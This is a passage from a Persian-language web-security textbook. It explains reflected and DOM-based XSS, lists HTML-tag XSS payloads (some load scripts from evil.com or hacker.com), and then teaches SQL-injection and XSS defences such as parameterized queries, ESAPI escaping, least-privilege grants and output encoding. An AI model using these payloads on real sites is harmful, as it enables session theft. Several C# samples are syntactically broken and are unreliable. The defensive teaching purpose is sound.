 .کندیمخرب را ساخته و برای قربانی ارسال م ٔ  رشتهشامل  URLمهاجم یک  .1

 را از وبسایت درخواست نماید. URLتا این  شودیقربانی توسط مهاجم فریب داده م .2

 را در پاسخ به کاربر قرار میدهد. Urlوبسایت رشته مخرب درون  .3

قربانی به کارگزار  cookieرا میکند و در نتیجه مرورگر قربانی اسکریپت مخرب موجود در پاسخ را اج .4

 مهاجم ارسال میشود.

الزم است تا خود قربانی چون  ،دخطر کمتری دار XSSدر ابتدا ممکن است به نظر برسد که این نوع از 

حمله به شخص خودش را  تمایل بهمخرب را ارسال نماید و از آنجاکه طبیعتاا هیچ کس  ٔ  رشتهدرخواست شامل 

 ندارد، راهی برای انجام این حمله وجود ندارد.
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بازتابی علیه خود  XSSکه حداقل دو روش وجود دارند که شخص را وادار به انجام  دهدیاما مشاهدات نشان م

 :کنندیم

 مخرب را به قربانی ارسال URLتواند اگر کاربر یک فرد خاص را مورد هدف قرار دهد، مهاجم می ➢

 و او را تحریک به بازدید از آن نماید. (مثال از طریق ایمیل یا پیام فوریعنوانبه)کند 

مخرب منتشر کرده  URLتواند لینکی را به زیادی را مورد هدف قرار دهد، مهاجم می ٔ  عدهاگر کاربر  ➢

آن  روی و منتظر باشد که کاربران (اجتماعی ٔ  شبکهمثال در وبسایت خودش یا در یک عنوانبه)

 کلیک نمایند.

، احتمال موفقیت بیشتری URLکننده  مشابه بوده و در صورت استفاده از سرویسهای کوتاه کاملاا این دو روش 

مخرب از دید افرادی که ممکن است توانایی تشخیص آن را داشته  ٔ  رشته شودیخواهند داشت چراکه باعث م

 باشند، پنهان بماند.

XSS های مبتنی برDOM 

XSS  مبتنی برDOM  حملهاز دو نوع دیگر متفاوت است. در  کاملاا  ٔ XSS  مبتنی برDOM تا زمانی که جاوا 

گردد. نمودار زیر این روند را یممخرب در مرورگر قربانی تجزیه ن ٔ  رشتهغیرمخرب وبسایت اجرا نشود،  اسکریپت

 :دهدینشان م DOMمبتنی بر  XSS ٔ  حملهبرای یک 
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 DOMمبتنی بر  XSS ٔ  حملهمراحل  

 .کندیمخرب را ساخته و آن را برای سیستم قربانی ارسال م ٔ  رشتهشامل  URLمهاجم یک   .1

 .شودیتحریک م URLقربانی توسط مهاجم برای درخواست این   .2

 .دهدیقرار نم خمخرب را درون پاس ٔ  رشتهاما  کند،یم افتیدرخواست را در تیوبسا .3

 در مخرب پتیدر پاس، باعث وارد شدن اسکر موجود رمخربیغ پتیاسکر یبا اجرا یمرورگر قربان .4

 .گرددیموردنظر م ٔ  صفحه

 .شودیبا اجرای اسکریپت مخربی که وارد صفحه شده است، کوکی قربانی برای کارگزار مهاجم ارسال م .5

د شده و بازتابی است، کارگزار اسکریپت مخرب را در صفحه وار ذخیره در مثالهای قبلی که مربوط به حملات

، اسکریپت کندی. زمانی که مرورگر قربانی پاسخ را دریافت مکندیصورت پاسخ برای قربانی ارسال منموده و به

عنوان بخشی از محتوای عادی صفحه در نظر گرفته و آن را به همراه تمامی اسکریپتهای دیگر اجرا مخرب را به

 .کندیم
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عنوان بخشی از صفحه وجود نداشته و تنها مخرب به، اسکریپت DOMمبتنی بر  XSS ٔ  حملهاما در مثال  

که  شودی. مشکل از این ناشی مشودیصورت اتوماتیک در هنگام بارگذاری صفحه اجرا ماسکریپت غیرمخرب به

. به این کندیبه صفحه استفاده م HTMLمستقیماا از ورودی کاربر، برای اضافه کردن غیر مخرب این اسکریپت 

و در  گرددیتجزیه م HTMLصورت ، بهشودیوارد صفحه م innerHTMLبا استفاده از  ربمخ ٔ  رشتهدلیل که 

 .شودیدر مرورگر اجرا م اسکریپت مخربنهایت 

 دیگر انواع وجود دارد: و XSSتفاوت کوچک ولی مهمی بین این نوع 

 HTML عنوان بخشی از، جاوا اسکریپت مخرب در زمان بارگذاری صفحه، بهتریمیهای قدXSSدر  ➢

 .شدیارسالی توسط کارگزار، اجرا م

و دلیل  شودیاز بارگذاری صفحه، اجرا م اندکی پس، جاوا اسکریپت مخرب DOMمبتنی بر  XSSدر  ➢

 .کندیم امن رفتار این اتفاق، این است که جاوا اسکریپت عادی صفحه، با ورودی کاربر به روشی نا

XSS  مبتنی برDOM ناپیدا برای کارگزار 

مخرب به  ٔ  رشتهوجود دارند که در آنها برای شروع حمله، هیچگاه  DOMهای مبتنی بر XSSنوع خاصی از 

. (دیآیم #هر آن چه پس از کاراکتر ) ردیگیقرار م URLبلکه در بخش شناسه  شودیکارگزار وبسایت ارسال نم

دسترسی به آن از  راهی برایبسایت هیچ ، بنابراین وکنندیرا به کارگزارها ارسال نم URLمرورگرها این بخش از 

اما کد سمت کاربر به آن دسترسی داشته و به این ترتیب با برخورد ناامن باعث ؛ طریق کد سمت کارگزار ندارد

 .شودیم XSSآسیب پذیری آن به 

دا به کاربر هم که برای کارگزار ناپی یهایاین وضعیت تنها در مورد بخش شناسه نیست بلکه برای دیگر ورود

 نیز صادق است. IndexedDBو  LocalStorageمانند  HTML5جدید  یهایژگی، از جمله وندیآیحساب م

 رودیبه کار م XSSحملات که در  HTML یهاتگ

 را معرفی خواهیم کرد. رندیگیمورد استفاده قرار م xssحملات که بیشتر در  html یهادر ادامه لیستی از تگ
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. یک تگ باشدیم xssحملات مورد استفاده در  یهاتگ نیتریکی از راحت scriptتگ  <script>:تگ •

script تواند به یک کد جاوا اسکریپت خارجی ارجاع داده شده و یا اینکه درون یک تگ میscript  قرار

 گیرد

. <!-- External script --> 

<script src=http://evil.com/xss.js></script> 

<!-- Embedded script --> 

<script> alert("XSS"); </script> 

و یا سایر صفات مبهم، مانند  bodyدر تگ  onloadطریق صفت  تواند ازمی xss ٔ  حمله <body>:تگ •

background .انجام گیرد 

<!-- onload attribute --> 

<body onload=alert("XSS")> 

<!-- background attribute --> 

<body background="javascript:alert("XSS")"> 

 

 .کنندیرا اجرا م imgشده در تگ  قرار داده برخی از مرورگرها کدهای جاوااسکریپت <img>:تگ •

<!-- <img> tag XSS --> 

<img src="javascript:alert("XSS");"> 

<!-- tag XSS using lesser-known attributes --> 

<img dynsrc="javascript:alert('XSS')"> 

<img lowsrc="javascript:alert('XSS')"> 

 

بگیرند. این  خود قراروالد  ٔ  صفحهکه در  دهدیاجازه م htmlبه صفحات  iframeتگ  :<iframe>تگ •

اسکریپت موجود که جاوا اهمیت است  حائزتواند شامل کدهای جاوا اسکریپت باشد، اما این نکته تگ می

صفحات  Document (DOM)Object Modelبه  CSP(رگر )مروامنیتی  یهااستیبراساس س iframeدر 

 فیشینگ دارد. مفهوم موثری در حملات iframeوالد خود دسترسی ندارد؛ با این وجود 

<!-- <iframe> tag XSS --> 
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<iframe src=”http://evil.com/xss.html”> 

توان قرار دهیم، می imageرا برابر  inputاز تگ  typeدر برخی از مرورگرها، در صورتی که صفت  <input>:تگ

 کاری کرد. آن را جهت قرار دادن یک اسکریپت دست

<!-- <input> tag XSS --> 

<input type="image" src="javascript:alert('XSS');"> 

 

، ردیگیکه معموال برای لینک دادن به صفحات استایل خارجی مورد استفاده قرار م linkتگ  <link>:تگ •

 ند شامل یک اسکریپت باشد.توامی

<!-- <link> tag XSS --> 

<link rel="stylesheet" href="javascript:alert('XSS');"> 

 

اشاره  یجاتواند مورد سواستفاده قرار گیرد تا بهمی tdو  tableاز تگهای  background صفت:<table>تگ •

 کردن به یک عکس، دربردارنده کد جاوا اسکریپت باشد.

<!-- <table> tag XSS --> 

<table background="javascript:alert('XSS')"> 

<!-- <td> tag XSS --> 

<td background="javascript:alert('XSS')"> 

با مقدار کد جاوا اسکریپت  backgroundتواند یک می tdو table یهااین تگ نیز همانند تگ <div>:تگ •

 داشته باشد.

<!-- <div> tag XSS --> 

<div style="background-image: url(javascript:alert('XSS'))"> 

<!-- <div> tag XSS --> 

<div style="width: expression(alert('XSS'));"> 

 تواند شامل کد جاوا اسکریپت از یک سایت خارجی باشد.می objectتگ  <object>:تگ •

<!-- <object> tag XSS --> 

<object type="text/x-scriptlet" data="http://hacker.com/xss.html"> 



 

110 

 

 SQLتزریق  دفاعی در مقابل حملات یهاکیتکن 3-2-3

از اتصال رشته ها  sqlکه درخواستهای  شودیبه این دلیل مطرح م sqlتزریق  آسیب پذیری در برابر حملات

 د.ا توضیح خواهیم دار sqlحملات جلوگیری از  یهاروش نیتر. در این بخش مهمشوندیایجاد م

 استفاده از درخواستهای پارامتریک  1-3-2-3

اول باید خود درخواست را به نحوی تغییر دهیم  ٔ  مرحلهبرای پارامتریک کردن درخواستهای پایگاه داده در 

قرار گیرد را  sqlتواند مورد حمله به راحتی می ( که (Iکه دربرگیرنده یک سری پارامتر باشد. برای نمونه باید کد 

 :میدهیتغییر م ((IIبه شکل 

)I) string sqlCommand = "select * from logins where username = '" + 

Username.Text + "' and password = '"+ Password.Text + "'"; 

(II) string sqlCommand = "select * from logins where username = @username 

and password=@password"; 

 

 شده پارامتریک ذخیره از رویه هایاستفاده  2-3-2-4 2-3-2-3

های  و نسخه SQL2005قبل از اینکه یک رویه ذخیرهشده را فراخوانی کنیم، ابتدا باید آن را ایجاد کنیم. از  

ته توجه کرد که ایجاد کرد البته باید به این نک #Cبعد از آن، امکانی را فراهم آوردهاند که بتوان این رویه ها را در 

 تر است. در ادامه مراحل کار را توضیح خواهیم داد.بهینه #Cنسبت به  برای دستکاری روی داده ها Sqlزبان 

 :کنیمایجاد می sqlزیر را در  spبرای نمونه  sp:ایجاد 1.

CREATE PROCEDURE dbo.GetLogin( 

@username varchar(25), 

@password varchar(25)) 

AS 

SELECT * FROM logins WHERE 
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username = @username AND 

password = @password 

 spفراخوانی و استفاده از  2.

string sqlCommand = "GetLogin"; 

using (SqlConnection connection = new SqlConnection) 

ConfigurationManager.ConnectionStrings["database"].ConnectionString() { 

connection.Open(); 

SqlCommand command = new SqlCommand(sqlCommand, connection); 

command.CommandType = CommandType.StoredProcedure; 

SqlParameter usernameParmameter = 

new SqlParameter("@username", SqlDbType.VarChar, 255){ 

Value = this.Username.Text 

}; 

command.Parameters.Add(usernameParmameter); 

SqlParameter passwordParmameter = 

new SqlParameter("@password", SqlDbType.VarChar, 255) { 

Value = this.Password.Text 

}; 

command.Parameters.Add(passwordParmameter); 

SqlDataReader reader = command.ExecuteReader(); 

if (reader.Read)() 

Result.Text = "Welcome " + reader["username"]; 

else 

Result.Text = "Login failed."; 

connection.Close(); 

} 

 برای مدیریت کاراکترهای ورودی خاص Escapeاستفاده از روتینهای  3-3-2-3

عنای خاصی دارند را م sqlراه این است که کاراکترهایی که برای  نیترمیمستق sqlبرای جلوگیری از تزریق 

که داده های ارسالی باید  میکنیواقع با تبدیل به کد کردن، به مرورگر این امر گوشزد م در تبدیل به کد کنید.

هیچ تفسیر دیگری نداشته باشند. درصورتی که حملهگر اسکریپتی را در صفحه شما و  اصالح شده dataعنوان به
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گر به درستی عمل تبدیل به کد کردن را انجام داده باشید، مرورگر زیرا ا رسندخود نمیقرار دهد، به هدف 

و بعد از آن  #&توانیم کاراکترهای خطرناک را با استفاده از می html. در صفحه کندیاسکریپت جاری را اجرا نم

 .باشدیم 60#&مطابق  >. برای نمونه تبدیل کد شده کاراکتر به کد کنیمکد کاراکتر موردنظر تبدیل 

 مشاهده کنید: توانندرا میدر زیر لیستی از کاراکترها به همراه کد تبدیل شده آنها 

" ---> &#34 

# ---> &#35 

& ---> &#38 

' ---> &#39 

(---> &#40 

) ---> &#41 

/ ---> &#47 

; ---> &#59 

< ---> &#60 

> ---> &#62 

 

مقابل  خود را کار بسیار آسانی است، با این وجود به منظور حفاظت کامل از صفحات htmlتبدیل کد کردن 

بخواهید  که اگر را تبدیل کد کنیم. باید توجه داشت xmlو گاهی اوقات  javascript ،css ستیبایم xssحملات 

ستفاده از کتابخانه ، در اینجاست که اشودیت زیادی ایجاد متمامی تبدیل کدها را خودتان انجام دهید مشکلا

Escaping های در دسترس برای تبدیل کد کردن،  مفید است. دو نمونه از کتابخانهESAPI (توسط افتهیتوسعه 

OWAPS)  وAntiXSS باشدیم (توسط مایکروسافت افتهی)توسعه. 

4-3-2-3  Escape خاص پایگاه داده: اوراکل 

 همانند مثال زیر خواهد بود: Oracleبسیار ساده است. یک نمونه  ESAPIاستفاده از کد یک پایگاه داده 

ESAPI.encoder ().encodeForSQL(new OracleCodec)(, queryparam); 
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 است: oracleبنابراین، هرگاه مشابه مثال زیر یک درخواست پویا در کدتان ایجاد شده که مربوط به 

String query = "SELECT user_id FROM user_data WHERE user_name = '" 

req. getParameter(" userID") +"' and user_password = '" 

req.getParameter("pwd") +"'"; 

try { 

Statement statement = connection.createStatement(…); 

ResultSet results = statement.executeQuery (query); 

} 

 کنید: زیر بازنویسیبه شکل  باید خط اول را

Codec ORACLE_CODEC = new OracleCodec(); 

String query = "SELECT user_id FROM user_data WHERE user_name = '" + 

ESAPI.encoder().encodeForSQL(ORACLE_CODEC, req.getParameter("userID")) + 

"' and user_password = '" 

+ ESAPI.encoder().encodeForSQL(ORACLE_CODEC, req.getParameter("pwd")) 

+"'"; 

 

برای خوانا بودن حداکثری  .دیباشیایمن م SQLتزریق  در مقابلدر این وضعیت، صرف نظر از نوع ورودی، 

 ایجاد کنید. OracleEncoderتوانید خودتان یک کد، می

Encoder oe = new OracleEncoder(); 

String query = "SELECT user_id FROM user_data WHERE user_name = '" 

+ oe.encode(req.getParameter("userID")) + "' and user_password = '" 

+ oe.encode(req.getParameter("pwd")) +"'"; 

 

ESAPI.encoder().encodeForOracle() ( مایدگرفتههر اسمی که برای آن در نظر )را بسته بندی  رودی

از  SET SCAN OFFیا  SET DEFINE OFFجایی کاراکتر را غیرفعال کنید. با استفاده از  کنند. امکان جابه
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عنوان به &ر خاموش بودن جابه جایی خودکار کاراکترها مطمئن شوید. اگر جابه جایی کاراکتر فعال باشد، کاراکت

 ده ها دسترسی پیدا کنند.تا به دا دهدیدر نظر گرفته شده و به مهاجمین امکان م SQLPlusیک پیشوند متغیر 

 کرد؟ escape، کاراکترهای خاص را SQLچگونه هنگام نوشتن درخواستهای 

 ها:: برای هر نمایش از دو نقل قول استفاده کنید. مثالتبدیل نقل قول •

SQL> SELECT 'Frank''s Oracle site' AS text FROM DUAL; 

-------------------- 

SQL> SELECT 'A ''quoted'' word.' AS text FROM DUAL; 

---------------- 

A 'quoted' word. 

SQL> SELECT 'A ''''double quoted'''' word.' AS text FROM DUAL; 

------------------------- 

A ''double quoted'' word. 

 

 استفاده کنید: Qاز عبارت  •

SQL> SELECT q'[Frank's Oracle site]' AS text FROM DUAL; 

------------------- 

SQL> SELECT q'[A 'quoted' word.]' AS text FROM DUAL; 

---------------- 

A 'quoted' word. 

SQL> SELECT q'[A ''double quoted'' word.]' AS text FROM DUAL; 

------------------------- 

A ''double quoted'' word. 

 

 ’_‘. کاراکتر عام دهدیاجازهی جستوجوی رشته ها را م LIKEکلیدی  ٔ  کلمهتبدیل کاراکترهای عام:  •

رخدادهای بیشتری از  برای تطابق صفر و یا %هنگام استفاده از  ر، دربرای تطابق دادن کامل یک کاراکت

 توان تبدیل کرد. مثال:می SQLکاراکترها در این . شودیهر کاراکتر، استفاده م

SELECT name FROM emp 
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WHERE id LIKE '%/_%' ESCAPE '/'; 

SELECT name FROM emp 

WHERE id LIKE '%\%%' ESCAPE '\'; 

 

توان تغییر را می DEFINE مات، تنظیSQL*Plusدر هنگام استفاده از  SQL*Plus:در &تبدیل کاراکتر  •

 در متن استفاده شود: &داد تا اجازه دهد از 

SET DEFINE ~ 

SELECT 'Laurel & Hardy' FROM dual; 

 escapeتعریف کاراکتر  •

SET ESCAPE '\' 

SELECT '\&abc' FROM dual; 

 به دنبال متغیرهای جایگزین نباشید: •

SET SCAN OFF 

SELECT '&ABC' x FROM dual; 

 

 ندارد: SETاست که نیازی به فرمانهای  concatenationاستفاده از اتصال یا  &راه دیگر برای تبدیل  •

SELECT 'Laurel ' || '& ' || ' Hardy' FROM dual; 

 استفاده کنید: 10gاز مکانیسم نقل قول  •

Syntax q'[QUOTE_CHAR]Text[QUOTE_CHAR]' 

Make sure that the QUOTE_CHAR followed by an ' doesn't exist in the text. 

SELECT q'{This is Orafaq's 'quoted' text field}' FROM DUAL; 

 

 با حداقل دسترسی دادهری پایگاه کارب یک حساب استفاده از  5-3-2-3

SQL شده بندی پایگاه های داده از مکانیسم مجوز دانه و برای جداول (Granular) مشابه کندیاستفاده م .

کند، برای به انجام رسیدن هرگونه عملیات بر روی یک پایگاه داده، میاشیا استفاده  روشی که ویندوز برای فایلها و
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آن کار را داشته باشد. جدول زیر مجوزهای اصلی مبتنی بر جداول را در یک اجازه  ستیبایکاربر متصل شونده م

SQL Server دهدینشان م. 

 SQL Serverمبتنی جدول در  مجوزهای اصلی 2-4جدول 

 توضیحات مجوز

SELECT  خواندن ٔ  اجازه کاربر مجوز به این. میدهد را دید یا جدول یک از داده خواندن ٔ  اجازه کاربر به 
 .میدهد را دید یا جدول یک از داده

INSERT  میدهد را دید یا جدول یک درون داده کردن وارد ٔ  اجازه کاربر به. 

DELETE  میدهد را دید یا جدول یک از داده حذف ٔ  اجازه کاربر به. 

UPDATE  مشابه . میدهد را دید یا جدول یک درون داده بهروزرسانی ٔ  اجازه کاربر بهSELECT به میتواند 
 .یابد اختصاص هم مشخص ستونهای

EXECUTE  میکند اعطا را، ذخیره شده رویه یک اجرای ٔ  اجازه کاربر به. 

 

صورت پیشفرض کاربر جدید، برای پایگاه دادهای که به آن مطرح است. به SQLها هم در نقش ٔ  مسئله

. هر نقش، مجوزهای ذاتی مربوط به خود را دارد، شودیدر نظر گرفته م Publicدسترسی دارد، تحت عنوان نقش 

 تواند در یک پایگاه داده انجام دهد.هر عملیاتی را می DBAمثال نقش عنوانبه

 اضافه کردن یک کاربر به یک پایگاه داده

 ستیبایبنابراین در قدم اول م؛ دسترسی کاربر به پایگاه داده وجود ندارد ٔ  اجازه لاگینتنها با انجام عملیات 

 زیر انجام داد: SQLتوان با فرمان دسترسی به پایگاه داده ممکن گردد. این عمل را می

CREATE USER Olle FOR LOGIN Olle; 
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برای  Olleنماید. در این مثال کاربر شود، ایجاد مییماین فرمان یک کاربر جدید را در پایگاهی که در آن اجرا 

اما این حساب ایجاد شده تا چند عملیات دیگر نیز بر روی آن انجام ؛ ددگریایجاد م Olle کاربریورود به حساب

 نشود، کارایی نخواهد داشت.

 SQLمدیریت مجوزهای 

استفاده کرد و یا از دستورات  SQL Server Management Studioاز  توان، یا میSQLبرای مدیریت مجوزهای 

SQL ،GRANT ،DENY و.REVOKE توان آنها دستورات بسیار سودمند است زیرا میو استفاده از این  اطلاع

 که باید تحت کنترل منبع قرار گیرند وارد نمود. یره شدهعنوان اسکریپت در رویه های ذخرا به

. شودی، داده مPuckبرای کاربر مهمان به نام  Exampleبه جدول یا دیدی به نام  SELECTدر مثال زیر مجوز 

جدا  \و حساب ویندوز است که با دستگاه  نظر، ترکیبی از نام در دستگاه موردنام کامل حساب مهمان ویندوز 

 (PUCK\Guest. )مانند شوندیم

 GRANT SELECT ON Example TO PUCK\Guest 

 :شودیاز دستور زیر استفاده م SELECTبرای رد مجوز 

DENY SELECT ON Example TO Olle 

 :شودیست، از دستور زیر استفاده مبرای لغو مجوزی که قبالا اختصاص یافته ا

REVOKE SELECT ON Example TO Olle 

همانگونه که قبالا پیشنهاد شده بود، دسترسی به جداول از طریق رویه ها، مسدود شده باشد، به این  اگراما 

یره ذخ ٔ  یهروبه  EXECUTEبایست مجوز معناست که شما هیچ مجوز جدولی را اعطا نخواهید کرد. در عوض، می

 :مینیبیدر مثال زیر م ؛ کهشده، داده شود

GRANT EXECUTE ON GetLogins TO Olle 



 

118 

 ها و گروه هانقش

مجوز، برای هر نقش مشخص مجوزهایی تعیین  ٔ  جداگانهتخصیص  یجاهمانند تمامی مجوزها، بهتر است به

پایگاه داده را ایجاد کنید، کاربران را به آن اضافه  یهاتا نقش کندیاین امکان را برای شما فراهم م SQL گردد

 SQL Managementتوان با استفاده از ها را میکرده و برای آنها مجوزهای موردنظر را تخصیص دهید. نقش

 Studio یا با استفاده از دستوراتو SQL .زیر ایجاد کرد 

CREATE ROLE auditors AUTHORIZATION db _owner; 

ایجاد شده  auditorsوده و یا به یک نقش دیگر. در مثال قبل نقشی با نام بخاص  تعلق به یک کاربریا م هانقش

که صاحب پایگاه داده به آن تعلق  SQL. یک نقش ساخته شده در باشدیم db_ownerاست که متعلق به نقش 

 توان کاربران را به نقش موردنظر اضافه کرد:دارد. با فرمان زیر هم می

EXEC sp_ addrolemember 'auditors', 'PhilHa' 

کاربران  یجاتوانید به. سپس شما میشودیاضافه م auditorsبه گروه  PhiHaبا این فرمان حساب کاربری 

 مشخص، حقوقی را از کل گروه گرفته، یا به آنها اعطا کنید:

GRANT EXECUTE ON ReadAuditLogin TO auditors 

 با حداقل امتیازات یهاحساب

تزریق  اما با وجود حملاتباشد انگیزاعطای قابلیت کنترل کامل پایگاه داده، به برنامه وب شاید بسیار وسوسه

SQL نیاز  کار کردن برنامه مورد مجوزها که برایکمترین امتیازات و  ستیبایاین کار بسیار خطرناک است و م

 است، به آن اختصاص یابد.

، احتمال اینکه نیاز به نوشتن داده داشته باشید، بسیار کم دیسینویمثال، اگر شما برنامه گزارشی معنوانبه

بنابراین نباید قابلیت نوشتن داده به برنامه اعطا شود. بعلاوه ممکن است در این برنامه جداول گزارشی وجود ؛ است

تن در این جداول نداشته باشد، اما مدیریت نیاز به انجام این اصلی نیاز به خواندن و نوش ٔ  برنامهکه  داشته باشند

 ٔ  حملهعملیات داشته باشد. هر چه امتیازات بیشتری برای برنامه در نظر گرفته شود، احتمال به انجام رسیدن یک 
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پذیر ا امکانها به داده ها از طریق رویه ها و مجوزهموفق علیه پایگاه داده، افزایش خواهد یافت. اگر تمامی دسترسی

، به این Publicاستفاده کرد، مانند تمامی حقوق نقش  در مقابل جداول پایه REVOKEتوان از مجوز باشد، می

 منظور که فقط مدیرها قابلیت دسترسی مستقیم به جداول را داشته باشند.

 

 محدود کردن ورودی 4-2-3

 ASP.NETاستفاده از اعتبارسنجی درخواست   1-4-2-3

کاراکترهای و  HTMLطور پیشفرض، عناصر به 2.0و  1.1 ینسخه ها ASP.NETدر اعتبارسنجی درخواست 

 نتوانند اسکیریپتیتا کاربران  شودی. این ویژگی باعث مکندیزرو شده را، درون داده های ارسالی به کارگزار، پیدا مر

 مقادیر بالقوهدارا بودن تواند تمامی داده های ورودی را از نظر در برنامه وارد کنند. اعتبارسنجی درخواست می

از نوع  exception خطرناک یک لیست کدشده را بررسی کند. اگر تطابقی صورت بگیرد،

HttpRequestValidationException شودیاعلام م. 

 <pages>پیکربندی برنامه با اضافه کردن یک عنصر  Web.configفایل  را درتوان اعتبارسنجی درخواست می

 مجزا با تنظیم ٔ  صفحهغیرفعال کرد و یا در یک  "validateRequest="falseبه همراه 

ValidateRequest="false" ردر عنص@pages انجام داد. 

 Machine.configدر  ASP.NETاطمینان از فعال بودن اعتبارسنجی درخواست  2-4-2-3

در  راتوان این تنظیمات پیشفرض میفعال است  ASP.NETصورت پیشفرض در اعتبارسنجی درخواست به

 مشاهده کرد. Machine.config.commentsفایل 

<pages validateRequest="true" ... /> 

اطمینان حاصل کنید که اعتبارسنجی درخواست با باطل کردن تنظیمات پیشفرض درون فایل 

Machine.config  کارگزار و یا در فایلWeb.config .برنامه، غیرفعال نشده باشد 
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 د نمودن ورودی، باید گامها زیر را دنبال کرد:طور کلی برای محدوبه

 : تنها به اعتبارسنجی سمت کاربر اعتمااد نکنید زیارااعتبارسنجی ورودی در سمت کارگزار •

امت کااربر در کناار اعتبارسنجی سامت کارگزار صتوان از آن به سادگی عبور کرد. از اعتبارسنجی می

 ار کاهش یافته و تجریه کاربری بهبود پیدا کنداستفاده کنید تا مسیرهای برگشت به کارگز

 شما برای یاک داده یهایژگی: مطمئن شوید که هر ورودی از وطول، بازه، قالب و نوع معتبر •

 .کندیخوب، پیروی م

 : مقادیر عددی را به انواع عددی داده تخصیصاز نوع دهی محکمی برای داده ها استفاده کنید •

به  را هایبه انواع رشتهای مقادیر رشته ها را اختصاص دهید و تار Double.و Integerدهید مانند 

 DateTime.انواع

برای برنامه های تحت وب که شامل ورودی کنترل شده توسط کارگزار هستند، از کنترل  •

برای محدود کردن ورودی استفاده کنید. برای داده های ورودی که از  ASP.NETاعتبارسنجی 

را باز  ورودی HTTPو سرآیندهای  های، کوکQueryString، مانند رندیگیمنابع دیگری سرچشمه م

 کنید. ، محدودSystem.Text.RegularExpressions از فضای نام Regexکلاس 

 ورودی را کدگذاری کنید. ٔ  رشته HtmlEncodeبا روش  •

ریهای روی و روش جایگذاری آن را فراخوانی کنید تا کدگذااستفاده کرده  StringBuilderاز یک  •

 صورت انتخابی پاک کند.را، بهاجازه  که شما HTMLعناصر 

 کدگذاری خروجی  5-2-3

تبدیل ورودی  (سایتی است به این دلیل که مربوط به اسکریپ نویسی بین)هدف کدگذاری خروجی 

نشان داده در مرورگر، به کاربر اجرا شدن عنوان داده و بدون به فرم ایمن است که در آن وردی به اعتمادقابلغیر

 .شودیم
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 HtmlEncodeکدگذاری خروجی ناامن با استفاده از   1-5-2-3

روش سریع به عنوان  . این تابعشودیای مشخص اجرا م روی رشته HTML، کدگذاری HtmlEncodeدر روش 

. شودیوب، استفاده م ٔ  برنامهکدگذاری داده های فرم و دیگر داده های درخواستی کاربر، قبل از استفاده در 

. اگر کندیآن تبدیل م HTMLکدگذاری، کاراکترهایی که ممکن است ناامن باشند را به معادل کدگذاری شده 

کاراکترها را  HTMLEncodeنباشد،  DBCSیا  Double-Byte Character Set شودیای که کدگذاری م رشته

 :دهدیبه روش زیر تغییر م

 .شوندیتبدیل م lt&به  (>)کاراکترهای کوچکتر از  •

 .شودیتبدیل م amp& ( به (&مت لا. کاراکتر عشوندیتبدیل م gt&از به  (<)کاراکترهای بزرگتر از  •

 .شودیتبدیل م quot&به  (")کاراکتر  •

که در  شودیتبدیل م <number>#&باشد، به  0x80هرکاراکتر که کد اسکی آن بزرگتر و یا مساوی  •

 کی است.نشان دهنده مقدار کاراکتر اس <number>آن

 این اسکریپت

<% = Server.HTMLEncode(" The paragraph tag: <P>") %> 

 کند:میر را تولید خروجی زی

The paragraph tag: &lt;P&gt; 

 :شودیصورت زیر نمایش داده ماین خروجی در یک مرورگر وب به

The paragraph tag: <P> 

ایمنی  عنوان روشورودی از نظر قالب و صحت نکنید بلکه آن را به جایگزین بررسی: کدگذاری خروجی را نکته

 اضافی در نظر بگیرید.
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به تابع  ASP.NET ٔ  برنامهبرای دسترسی در زمان اجرا از یک  HttpServerUtility.HtmlEncodeتابع 

HttpUtility.HtmlEncode  وب  ٔ  صفحهمناسب است. در فایل کد یکASP.NETبه یک نمونه از کلاس ، 

HttpServerUtility  از طریق ویژگیServer پشت  کرد. در کلاسی که درون فایل کددسترسی پیدا  توانمی

 دست یافت. HttpServerUtilityتوان به کلاس می HttpContext.Current.Serverصفحه نیست، با استفاده از 

کدهای غیر امن  وجب تولیدمزیر نشان دهنده چگونگی کدگذاری مقادیری هستند که ممکن است  یهامثال

از کاربر یا از که  وب وجود دارند. معمولاداده هایی ٔ  صفحهشوند. این کدها عموماا در فایلهای کد پشت یک 

 دارد. Literalکنترل کدگذاری خواهند شد. نتیجه اشاره به یک  HTMLاز روش  شوندیدرخواست دریافت م

public partial class _Default: Page 

{ 

protected void Page_Load(object sender, EventArgs e) 

{ 

Result.Text = Server.HtmlEncode("<script>unsafe</script>"); 

} 

} 

 

که کد پشت  دهدیبا این تفاوت که کد شدن مقادیری را در کلاسی نشان م باشدیقبلی م ٔ  مشابهمثال بعدی 

 وب نیست. ٔ  صفحهیک 

public class SampleClass 

{public string GetEncodedText() 

{return HttpContext.Current.Server.HtmlEncode("<script>unsafe</script>"); 

} 

} 

 کدگذاری کدهای سمت کارخواه 

در کدهای سمت کارخواه، زبان مورد استفاده همیشه جاوا اسکریپت است که کد گذاری  هنگام اجرای عملیات

. هنگام کدگذاری سمت کارگزار، کنندیداده را در محتواهای مختلف، کدگذاری مکه ارد در درون خود توابعی دا
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باید از توابع موجود در زبان کدهای سمت کارگزار و قالب آنها استفاده کرد. به دلیل استفاده از زبانها و چارچوبهای 

نها و چارچوبها را بررسی کرد. با توان جزلیات تمامی این زباکارگزار، در این نوشتار نمی کده ای سمت متفاوت در

، برای درک توابع سمت شوندیبا توابع کدگذاری جاوا اسکریپت که در سمت کاربر استفاده م حال آشناییاین 

 خواهد بود. کارگزار مفید

ی ذاتی زیاد یهایژگیها و وکنیم، تابعمی کد گزاری آرکاربر های زمانی که با استفاده از جاوا اسکریپت، ورودی

 .کنندیصورت خودکار تمامی داده ها را با توجه به زمینه آنها، کدگذاری موجود دارند که به

 خاصیت/  روش محتوا

 HTML node.textContent = userInputمحتوای عناصر 

 HTML element.setAttribute(attribute, userInput) صفات مقدار

 element[attribute] = userInputیا 

 Url window.encodeURIComponent(userInput)مقدار 

 Css element.style.property = userInputمقدار 

 

در جدول فوق زمینه مقادیر جاوا اسکریپت ذکر نشده است زیرا جاوا اسکریپت هیچ روش درونی برای کدگذاری 

 داده های مشمول در کد منبع جاوا اسکریپت ندارد.

 UrlEncodeکدگذاری خروجی ناامن با استفاده از 

 QueryString.ها استفاده کرد از جمله مقادیرURLتوان برای کدگذاری تمام می UrlEncode(String)از تابع 

، بدون کدگذاری رها شوند، ممکن است در HTTPاگر کاراکترهایی نظیر فاصله و عاللم نگارشی در یک جریان 

 شوندینامعتبر محسوب م URL، کاراکترهایی که درون URLی تفسیر نشوند. کدگذاری هنگام دریافت به درست
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. مثالا دهدی، عملیات عکس کدگذاری را انجام مURL. رمزگشایی کندیرا به کاراکترهای مجاز معادل، تبدیل م

